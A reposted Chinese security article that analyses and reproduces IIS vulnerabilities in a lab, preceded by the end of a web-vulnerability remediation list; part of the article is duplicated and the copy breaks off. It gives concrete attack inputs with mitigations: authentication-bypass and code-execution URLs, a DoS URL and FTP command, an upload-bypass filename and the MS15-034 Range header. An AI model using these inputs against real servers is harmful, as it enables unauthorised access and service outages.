  为了便于开发人员调试程序,Struts2提供了一个devMode模式,可以方便查看程序错误以及日志等信息。当Struts2中的devMode模式设置为true时,存在严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。
  修复建议
  建议用户到官方获取最新补丁或者最新版本程序!
  或者将struts.properties中的devMode设置为false,或是在struts.xml中添加如下代码: <constant name="struts.devMode"value="false"/>。
(30)Apache Struts2 远程代码执行漏洞(S2-045)
  漏洞描述
  Apache Struts2的Jakarta Multipartparser插件存在远程代码执行漏洞,漏洞编号为CVE-2017-5638。攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。
  修复建议
  检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞!
  1、建议用户到官方获取最新补丁或者最新版本程序!
  2、更新至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。
  3、临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
  4、修改WEB-INF/classes目录下的配置
  在WEB-INF/classes目录下的struts.xml中的struts 标签下添加
  <constantname=”struts.custom.i18n.resources”value=”global”/>;
  在WEB-INF/classes/目录下添加global.properties,文件内容如下:
  struts.messages.upload.error.InvalidContentTypeException=1
(31)Apache Struts2 远程代码执行漏洞(S2-033)
  漏洞描述
  Apache Struts2在开启动态方法调用(DynamicMethod Invocation)的情况下,攻击者使用REST插件调用恶意表达式可以远程执行代码。
  修复建议
  1、用户到官方获取最新补丁或者最新版本程序!
  2、或者在允许的情况下禁用动态方法调用(Dynamic Method Invocation),修改Struts2的配置文件struts.xml,将struts.enable.DynamicMethodInvocation设置为“false”。
(32)目标URL存在httphost头攻击漏洞
  漏洞描述
  为了方便的获得网站域名,开发人员一般依赖于HTTP Host header,但是这个header是不可信赖的,如果应用程序没有对host header值进行处理,就有可能造成恶意代码的传入。
  修复建议
  web应用程序应该使用SERVER_NAME而不是host header。
  在Apache和Nginx里可以通过设置一个虚拟机来记录所有的非法host header。在Nginx里还可以通过指定一个SERVER_NAME名单,Apache也可以通过指定一个SERVER_NAME名单并开启UseCanonicalName选项。
(33)登录绕过漏洞
  漏洞描述
  由于对登录的账号及口令校验存在逻辑缺陷,或再次使用服务器端返回的相关参数作为最终登录凭证,导致可绕过登录限制,如服务器返回一个flag参数作为登录是否成功的标准,但是由于代码最后登录是否成功是通过获取这个flag参数来作为最终的验证,导致攻击者通过修改flag参数即可绕过登录的限制!
  修复建议
  修改验证逻辑,如是否登录成功服务器端返回一个参数,但是到此就是最终验证,不需要再对返回的参数进行使用并作为登录是否成功的最终判断依据!
(34)短信/邮件轰炸
  漏洞描述
  由于没有对短信或者邮件发送次数进行限制,导致可无限次发送短信或邮件给用户,从而造成短信轰炸,进而可能被大量用户投诉,从而影响公司声誉!
  修复建议
  对发送短信或邮件的次数进行限制,如1分钟只能发送1次短信或邮件,并且需要在服务器进行限制!
(35)slow http Dos拒绝服务
  漏洞描述
  按照设计,HTTP协议要求服务器在处理之前完全接收请求。 如果HTTP请求没有完成,或者传输速率非常低,服务器会保持其资源忙于等待其余数据。如果服务器保持太多的资源忙,这将造成一个拒绝服务。严重者一台主机即可让web运行缓慢甚至是崩溃!
  修复建议
  对于 Apache 可以做以下优化:
  设置合适的 timeout 时间(Apache 已默认启用了 reqtimeout 模块),规定了 Header 发送的时间以及频率和 Body 发送的时间以及频率
  增大 MaxClients(MaxRequestWorkers):增加最大的连接数。根据官方文档,两个参数是一回事,版本不同,MaxRequestWorkers was called MaxClients before version 2.3.13.Theold name is still supported.
  默认安装的 Apache 存在 Slow Attack 的威胁,原因就是虽然设置的 timeoute,但是最大连接数不够,如果攻击的请求频率足够大,仍然会占满Apache的所有连接
(36)web服务测试页面信息泄露
  漏洞描述
  由于没有删除默认的且与业务无关的页面,导致信息泄露,如:webserver版本信息、中间件类型及版本信息等,通过对这类信息的收集,攻击者可制定具有针对性的攻击计划!
  修复建议
  删除与业务无关的页面,如果是必须需要使用的中间件管理页面,建议对该页面进行访问权限的控制!
 
-----转自:http://www.51testing.com/html/92/n-3723692.html

那些年让我们心惊胆战的IIS漏洞

Web安全渗透sq_smile 发表了文章 • 0 个评论 • 123 次浏览 • 2019-01-08 21:20 • 来自相关话题

本文转自安全脉搏,为千里目实验室所写。
原文链接:https://www.secpulse.com/archives/82410.html​ 
一、 全球第三大网络服务器
Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统,不适用于其他操作系统。
根据Netcraft在2018年9月的最新全球Web服务器报告显示,Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器,落后于Apache 34.07%和Nginx 25.45%。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病,一旦IIS出现高危漏洞,将会出现范围广、影响深的特点。
 
目前IIS一共发行12个版本,从IIS 1.0版本至IIS 10.0版本,IIS 1.0-4.0已经基本退出市场,IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新,IIS自身的安全性也有了较大的提升。在2005-2018年期间,IIS漏洞呈现逐年减少的趋势,同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。
 
IIS 版本
Win版本
IIS全球装机数量
受影响漏洞数量
IIS 1.0
Win NT 3.51
0
未统计
IIS 2.0
Win NT 4.0
0
未统计
IIS 3.0
Win NT 4.0 Sp3
0
未统计
IIS 4.0
Win NT 4.0选项包
0
未统计
IIS 5.0
Windows 2000
46,078
10个
IIS 5.1
Windows XP 系列
29,825
16个
IIS 6.0
Win 2003和Win XP Pro x64
620,360
21个
IIS 7.0
Win 2008、 Vista全系列
276,736
11个
IIS 7.5
Win 7和Win 2008 R2
3,970,245
12个
IIS 8.0
Win 8和Win 2012
344,734
4个
IIS 8.5
Win 8.1和Win 2012 R2
2,153,546
4个
IIS 10.0
Win 10和Win 2016
1,086,887
2个
 
从上述IIS漏洞统计表格可以看出,IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本,分别对应受影响漏洞12个、4个和2个,呈现受影响漏洞数量递减的趋势。同时,在历年的IIS版本漏洞中,IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。
 二、 IIS漏洞分析
千里目实验室针对IIS近十几年(2005年以后)的35个漏洞进行和整理和分析,IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露,其中以MS15-034远程代码执行漏洞最为严重。
 
 
 
 
IIS漏洞类型
远程漏洞
本地漏洞
数量
缓冲区溢出
7
0
7
认证绕过
7
0
7
拒绝服务
5
0
5
代码执行
4
0
4
信息泄露
2
2
4
XSS注入
1
1
2
命令执行
2
0
2
权限提升
0
2
2
文件上传
2
0
2
总计
30
5
35
 
由上表可以看到,IIS历年漏洞主要以远程漏洞为主,占漏洞总数85.71%,本地漏洞有5个,占漏洞总数14.29%。其中5个本地漏洞分别是:(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。
以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现:
1.  缓冲区溢出漏洞
       1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023
       1.1.1 漏洞描述:Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话,就可以触发这个溢出,导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。  
       1.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0
Ø 漏洞分析:
IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表(NLST)命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下:
NLST <SPACE> <pathname> <CRLF>,此命令中的路径名应指定目录或其他特定于系统的文件组描述符;在pathname为NULL时,使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。
Microsoft Internet信息服务(IIS)中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时,易受攻击的代码会将目录路径名复制到0x9F(159)字节的基于堆栈的缓冲区中,而不进行边界验证。提供包含大于0x9F(159)字节的路径名会使堆栈缓冲区溢出,从而可能会覆盖关键进程数据(如函数返回地址)。
远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功,可能会导致受影响的FTP会话异常终止。
注意:为了成功利用此漏洞,NLST命令中指定的长路径名必须存在于目标系统上。因此,利用此漏洞的攻击可能伴随着MKD命令的使用。
Ø 漏洞类型:可远程利用,存在缓冲区溢出漏洞,可触发代码执行
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 搭建好IIS FTP靶机环境,测试anonymous默认匿名用户可用,且可创建和读写目录;
2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常:
 
以上somefolder为FTP服务器上正常长度文件夹,NLST命令执行成功并返回结果提示226。
3. 测试创建和NLST异常目录长度,服务器返回150,打开数据连接,成功执行命令。
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.x和6.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 2.  DOS拒绝服务漏洞
      2.1  (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞  CVE-2005-4360
      2.1.1 漏洞描述:Microsoft IIS处理某些畸形的HTTP请求时存在漏洞,远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出,导致在用户系统上执行任意代码。2.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.1
Ø 漏洞分析:IIS包括一个能够提供静态和动态内容的Web服务器组件。IIS的Web组件提供Web应用程序功能。通过Web应用程序,服务器可以在后端执行脚本,并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源,例如Perl脚本、Active Server Pages(ASP)或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。
Microsoft Internet Information Services产品的HTTP服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下,当多次请求动态链接的库资源时,受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的URL请求,因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求URL必须包含来自以下字符的有限集合中的字符(注意,不可见字符需要使用以下字符范围的URL编码形式):
• %3f
• ”
• *
• :
• <
• >
•字符 - 的范围
请求还必须包含波形符“~”字符,后面跟一个十进制数字。
Ø 漏洞类型:可远程利用,可触发DOS攻击
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 配置IIS默认wwwroot根目录下的虚拟目录_vti_bin执行权限为“脚本和可执行文件”权限;
 
 
2. 浏览器发送恶意url远程访问靶机环境,复现成功,服务器返回500错误:
  Eg:http://192.168.180.200/_vti_bin/.dll/\~0
 
 
 
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.1版本存在,升级IIS版本或者更新MS07-041补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限,不开启此权限的服务器不存在漏洞。
 2.2 (MS09-053)Microsoft IIS FTP服务器递归列表拒绝服务漏洞   CVE-2009-2521
      2.2.1 漏洞描述:IIS 5.0至7.0版本的FTP服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符(如星形标识符)的请求导致拒绝服务(守护进程崩溃)。
2.2.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0
Ø 漏洞分析:
通过包含通配符的list(ls)-R命令在Microsoft IIS FTP服务器5.0到7.0中触发拒绝服务条件,即ls "-R p*/../"命令可导致FTP服务器拒绝服务。 此漏洞利用有三个条件:
(1)一个有效的ftp帐户,拥有只读或写入权限;
(2)“FTP发布”服务必须在启动类型中配置为“手动”模式;
(3) FTP根目录下至少有一个目录。
Ø 漏洞类型:可远程利用,可触发DOS攻击
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 添加FTP服务器角色,IIS信息服务管理控制台“FTP站点下”启动FTP默认站点
 
 
2. 配置ftp默认用户anonymous/anonymous,拥有读写目录权限;
3. 目录下创建一个文件夹BB,然后输入ls "-R p*/../",成功复现DOS拒绝服务,ftp连接关闭:
 
中间很多重复:
p*/../BB:
BB
 
 
FTP服务器提示“远程主机关闭连接”,FTP拒绝服务,漏洞复现成功。
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.0-7.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 3.  认证绕过漏洞3.1  IIS认证绕过和源码泄露漏洞复现
       3.1.1 漏洞描述:Microsoft IIS(Internet Information Server)是Microsoft Windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。
 3.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 6.0、IIS 7.5
Ø 漏洞分析:Microsoft IIS由于无法正确清理用户提供的输入,容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过:
(1) 安装了PHP的Microsoft IIS 6.0身份验证绕过:
IIS / 6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露;
 Eg:/admin::$INDEX_ALLOCATION/index.php
(2) Microsoft IIS 7.5经典ASP身份验证绕过:
配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5,通过将“:$ i30:$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制;
Eg:举例:/admin:$i30:$INDEX_ALLOCATION/index.asp
(3) Microsoft IIS 7.5 .NET源代码公开和身份验证绕过:
在配置中安装了PHP的Microsoft IIS / 7.5,存在认证绕过漏洞;
Eg:http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
除此之外,通过将/.php附加到ASPX文件(或使用未通过请求过滤规则阻止的.NET框架的任何其他文件,如错误配置:.CS,.VB等文件)。IIS 7.5使用文件的完整源代码进行响应,并将其作为PHP代码执行。这意味着通过使用上传功能,可以(在特殊情况下)执行任意PHP代码。
Eg:  http://<victimIIS75>/Default.aspx/.php   (php任意代码执行)
Ø 漏洞类型:可远程利用,可触发认证绕过和信息泄露
Ø 漏洞复现:
复现环境:Windows 7 x64位,默认IIS 7.5
以下验证复现上述(3)的漏洞,(1)和(2)类似此处不做验证:
1. IIS网站根目录下创建admin用户目录,关闭默认用户认证,换言之,访问/admin/index.php目录下的文件需要认证信息,认证失败或者无认证信息将会返回401未授权页面;
 
 
 
 
2. 配置完成后,重启IIS服务器,浏览器远程访问此文件:http://192.168.180.207/admin/index.php,默认IIS账户访问提示401未授权;
 
3. 接下来,利用:$i30:$INDEX_ALLOCATION来绕过此限制,浏览器远程访问:
http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php,成功绕过并访问到敏感信息;
 
4. 除此之外,如果目标站点限制上传和访问php文件,可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行;
Eg:网站目录下有一个index.aspx的文件,里面写有php代码,正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码,通过在末尾加上index.aspx/.php形式访问将会成功执行php代码;
 
a. 正常绕过访问index.aspx文件,页面返回乱码,未执行phpinfo代码:
 
b. 通过在末尾加上/.php,成功执行php代码:
 
Ø 漏洞缓解:
1. IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响;
2. 攻击者需要事先获取IIS服务器受认证保护目录;
 4.  信息泄露漏洞4.1 Microsoft IIS 短文件名泄露漏洞
        4.1.1 漏洞描述:IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
        4.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0-10.0全系列版本
Ø 漏洞分析:Windows 支持以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。基于Windows的IIS服务器默认根目录C:\inetpub\wwwroot下的网页脚本文件和目录符合一定条件时,会生成相应的短文件名。此时,攻击者利用HTTP的DEBUG、OPTIONS、GET、POST、HEAD、TRACE等方法携带波浪号,可以对IIS服务器短文件名进行暴力猜解,依据返回的页面信息和状态码来确认真实存在的文件名,从而获取服务器敏感信息,为下一步攻击做准备。
Ø 漏洞类型:可远程利用,可触发信息泄露
Ø 漏洞复现:
复现环境:Windows 7 x64位,默认IIS 7.5
1. 通过cmd下进入IIS网站根目录C:\inetpub\wwwroot,输入“dir /x”查看已存在的短文件名:
 
2. 使用公开POC或者扫描程序探测目标靶机的短文件名,成功猜解到服务器根目录短文件名称:
 
 
Ø 漏洞缓解:
1. 限制IIS服务器HTTP方法,除了必要的GET、POST方法,其他HTTP方法建议关闭,视情况开启;
2. IIS服务器文件建议使用复杂字符或者中文命名,增加后期攻击者暴力破解难度;
3. 针对已存在的IIS服务器,建议关闭NTFS 8.3文件格式的支持或者修改注册表禁用短文件名功能。
注:详细原理和解决方案请参考:https://www.freebuf.com/articles/web/172561.html
 5.  代码执行漏洞
      5.1 Microsoft IIS畸形文件扩展名绕过安全限制漏洞  CVE-2009-4444
      5.1.1 漏洞描述:IIS服务器错误的执行了带有多个扩展名的文件中所包含的ASP代码。例如malicious.asp;.jpg被执行为了ASP文件。很多文件上传程序仅检查文件扩展名的最后部分,因此这可能导致绕过保护机制向服务器上传恶意可执行文件。
      5.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 6.0
Ø 漏洞分析:此漏洞主要原因是IIS第三方上传应用没有限制文件上传格式或者限制不够严格,只检查了文件末尾的格式,导致攻击者可以将如Asp webshell伪装成malicious.asp;.jpg文件格式上传到IIS服务器。IIS的Classic ASP功能在处理asp文件时,被此畸形文件格式的分号截断了,认为是asp文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此webshell,控制IIS服务器甚至Windows宿主机器。
Ø 漏洞类型:可远程利用,文件上传绕过可触发代码执行
Ø 漏洞复现:
复现环境:Win server 2003 Sp2 32位企业版,默认IIS 6.0
1. IIS服务器根目录下创建一个名为aspwebshell.asp;.jpg的文件,用记事本打开,放入asp webshell代码(实际利用过程中是通过第三方应用上传绕过漏洞上传此文件,并设法获取此上传路径);
 
2. 通过浏览器远程访问此文件,http://192.168.180.201/aspwebshell.asp;.jpg,成功执行asp webshell代码:
 
 
Ø 漏洞缓解:
1. 严格限制IIS第三方应用上传文件的格式;
2. 此漏洞仅影响IIS 6.0,其他版本解析asp文件不会被分号截断,可升级至无此漏洞的IIS版本。
   5.2 (MS15-034)Microsoft IIS远程代码执行漏洞复现  CVE-2015-1635 
      5.2.1 漏洞描述:Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。Microsoft Internet Information Services(IIS)是一套运行于Microsoft Windows中的互联网基本服务。使用Microsoft IIS 6.0以上版本的Microsoft Windows的HTTP协议堆栈(HTTP.sys)中存在远程执行代码漏洞,该漏洞源于HTTP.sys文件没有正确分析经特殊设计的HTTP请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。           5.2.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 7.5、IIS 8.0、IIS 8.5
Ø 漏洞分析:
    IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Range对象的指定范围,而缓存中则包含了http文件和大小信息等。
 根据公开POC,构造包含“Range: bytes=0-18446744073709551615”的HTTP请求并发送到IIS 7.5-8.5服务器,如果IIS服务器返回“Requested Range Not Satisfiable”,则存在漏洞,如果返回“The request has an invalid header name”或者没有回应,则说明漏洞已经修补或者不存在漏洞。
Ø 漏洞类型:可远程利用,可触发代码执行
Ø 漏洞复现:
 复现环境:Win server 2008 R2 64位企业版,默认IIS 7.5
1. 开启IIS默认网站
2. 根据公开poc发送包含特殊设计的Range字段攻击靶机环境,成功检测到漏洞:
 
Ø 漏洞缓解:
1. 禁用 IIS 内核缓存,详情见微软官方公告:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034
2. 升级IIS至IIS 10.0版本,此版本不存在此漏洞。
 三、 漏洞总结
IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞,本地漏洞主要分布在信息泄露和权限提升漏洞分类,大部分漏洞利用难度较大,但是一旦成功被攻击者利用,影响的不仅仅只是IIS服务器,甚至可能是运行IIS的Windows主机。如果用户主机被利用,那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等,后果不堪设想。
  如果IIS服务器的网站配置不当,攻击者可以通过IIS短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问,获取用户隐私信息。此外,不合理的上传限制也会导致攻击者上传含有恶意代码或webshell并伪装成合法的文件,进而导致IIS服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞,对IIS服务器甚至是Windows操作系统进行进一步的攻击。无论是对IIS服务器本身的服务还是该IIS服务器所处的网络环境,IIS漏洞都是一个极大的隐患,也让IIS网站管理员和不少运维人员心惊胆战。 查看全部
本文转自安全脉搏,为千里目实验室所写。
原文链接:https://www.secpulse.com/archives/82410.html​ 
一、 全球第三大网络服务器
Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统,不适用于其他操作系统。
根据Netcraft在2018年9月的最新全球Web服务器报告显示,Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器,落后于Apache 34.07%和Nginx 25.45%。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病,一旦IIS出现高危漏洞,将会出现范围广、影响深的特点。
 
目前IIS一共发行12个版本,从IIS 1.0版本至IIS 10.0版本,IIS 1.0-4.0已经基本退出市场,IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新,IIS自身的安全性也有了较大的提升。在2005-2018年期间,IIS漏洞呈现逐年减少的趋势,同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。
 
IIS 版本
Win版本
IIS全球装机数量
受影响漏洞数量
IIS 1.0
Win NT 3.51
0
未统计
IIS 2.0
Win NT 4.0
0
未统计
IIS 3.0
Win NT 4.0 Sp3
0
未统计
IIS 4.0
Win NT 4.0选项包
0
未统计
IIS 5.0
Windows 2000
46,078
10个
IIS 5.1
Windows XP 系列
29,825
16个
IIS 6.0
Win 2003和Win XP Pro x64
620,360
21个
IIS 7.0
Win 2008、 Vista全系列
276,736
11个
IIS 7.5
Win 7和Win 2008 R2
3,970,245
12个
IIS 8.0
Win 8和Win 2012
344,734
4个
IIS 8.5
Win 8.1和Win 2012 R2
2,153,546
4个
IIS 10.0
Win 10和Win 2016
1,086,887
2个
 
从上述IIS漏洞统计表格可以看出,IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本,分别对应受影响漏洞12个、4个和2个,呈现受影响漏洞数量递减的趋势。同时,在历年的IIS版本漏洞中,IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。
 二、 IIS漏洞分析
千里目实验室针对IIS近十几年(2005年以后)的35个漏洞进行和整理和分析,IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露,其中以MS15-034远程代码执行漏洞最为严重。
 
 
 
 
IIS漏洞类型
远程漏洞
本地漏洞
数量
缓冲区溢出
7
0
7
认证绕过
7
0
7
拒绝服务
5
0
5
代码执行
4
0
4
信息泄露
2
2
4
XSS注入
1
1
2
命令执行
2
0
2
权限提升
0
2
2
文件上传
2
0
2
总计
30
5
35
 
由上表可以看到,IIS历年漏洞主要以远程漏洞为主,占漏洞总数85.71%,本地漏洞有5个,占漏洞总数14.29%。其中5个本地漏洞分别是:(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。
以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现:
1.  缓冲区溢出漏洞
       1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023
       1.1.1 漏洞描述:Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话,就可以触发这个溢出,导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。  
       1.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0
Ø 漏洞分析:
IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表(NLST)命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下:
NLST <SPACE> <pathname> <CRLF>,此命令中的路径名应指定目录或其他特定于系统的文件组描述符;在pathname为NULL时,使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。
Microsoft Internet信息服务(IIS)中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时,易受攻击的代码会将目录路径名复制到0x9F(159)字节的基于堆栈的缓冲区中,而不进行边界验证。提供包含大于0x9F(159)字节的路径名会使堆栈缓冲区溢出,从而可能会覆盖关键进程数据(如函数返回地址)。
远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功,可能会导致受影响的FTP会话异常终止。
注意:为了成功利用此漏洞,NLST命令中指定的长路径名必须存在于目标系统上。因此,利用此漏洞的攻击可能伴随着MKD命令的使用。
Ø 漏洞类型:可远程利用,存在缓冲区溢出漏洞,可触发代码执行
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 搭建好IIS FTP靶机环境,测试anonymous默认匿名用户可用,且可创建和读写目录;
2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常:
 
以上somefolder为FTP服务器上正常长度文件夹,NLST命令执行成功并返回结果提示226。
3. 测试创建和NLST异常目录长度,服务器返回150,打开数据连接,成功执行命令。
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.x和6.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 2.  DOS拒绝服务漏洞
      2.1  (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞  CVE-2005-4360
      2.1.1 漏洞描述:Microsoft IIS处理某些畸形的HTTP请求时存在漏洞,远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出,导致在用户系统上执行任意代码。2.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.1
